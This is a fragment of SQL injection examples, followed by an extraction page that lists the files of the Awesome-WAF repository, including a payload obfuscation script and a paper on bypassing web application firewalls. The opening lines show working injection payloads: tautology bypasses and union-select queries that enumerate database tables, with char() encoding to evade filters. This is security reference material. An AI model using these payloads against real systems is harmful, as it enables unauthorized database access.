[Code]---------------------------------------------------------------
filtered injection: 1 or 1 = 1
Bypassed injection: 1 or 1
[End Code]-----------------------------------------------------------
[Code]---------------------------------------------------------------
filtered injection: 1 union select 1, table_name from information_schema.tables where table_name = 'users'
filtered injection: 1 union select 1, table_name from information_schema.tables where table_name between 'a' and 'z'
filtered injection: 1 union select 1, table_name from information_schema.tables where table_name between char(97) and char(122)
gitextract_qiof5t2g/
├── CODE_OF_CONDUCT.md
├── CONTRIBUTING.md
├── LICENSE
├── README.md
├── others/
│ ├── README.md
│ └── obfu.py
└── papers/
└── Beyond SQLi - Obfuscate and Bypass WAFs.txt
SYMBOL INDEX (2 symbols across 1 files) FILE: others/obfu.py function paramEncode (line 8) | def paramEncode(params="", charset="", encodeEqualSign=False, encodeAmpe... function main (line 39) | def main():
Condensed preview — 7 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (226K chars).
[
{
"path": "CODE_OF_CONDUCT.md",
"chars": 3358,
"preview": "# Contributor Covenant Code of Conduct\n\n## Our Pledge\n\nIn the interest of fostering an open and welcoming environment, w"
},
{
"path": "CONTRIBUTING.md",
"chars": 5165,
"preview": "I appreciate and recognize [all contributors](https://github.com/0xInfection/awesome-waf/graphs/contributors).\n\n> First "
},
{
"path": "LICENSE",
"chars": 11357,
"preview": " Apache License\n Version 2.0, January 2004\n "
},
{
"path": "README.md",
"chars": 165164,
"preview": "# Awesome WAF [![Awesome](https://cdn.rawgit.com/sindresorhus/awesome/d7305f38d29fed78fa85652e3a63e154dd8e8829/media/bad"
},
{
"path": "others/README.md",
"chars": 856,
"preview": "## [`obfu.py`](https://github.com/0xinfection/awesome-waf/blob/master/others/obfu.py)\n> A small script to encode and obf"
},
{
"path": "others/obfu.py",
"chars": 2394,
"preview": "# Modified from @irsdl's script\nimport urllib.parse, sys\nfrom argparse import ArgumentParser\nlackofart = '''\n OBF"
},
{
"path": "papers/Beyond SQLi - Obfuscate and Bypass WAFs.txt",
"chars": 30534,
"preview": "\t\t|=--------------------------------------------------------------------=|\n\t\t|=--------------=[ Beyond SQLi: Obfuscate a"
}
]
About this extraction
This page contains the full source code of the 0xInfection/Awesome-WAF GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 7 files (213.7 KB), approximately 58.2k tokens, and a symbol index with 2 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.